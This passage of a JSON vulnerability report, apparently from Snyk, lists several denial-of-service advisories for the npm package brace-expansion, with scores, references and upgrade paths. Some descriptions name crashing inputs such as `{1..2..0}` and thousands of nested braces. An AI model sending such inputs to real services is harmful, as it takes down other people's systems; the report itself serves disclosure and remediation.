"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
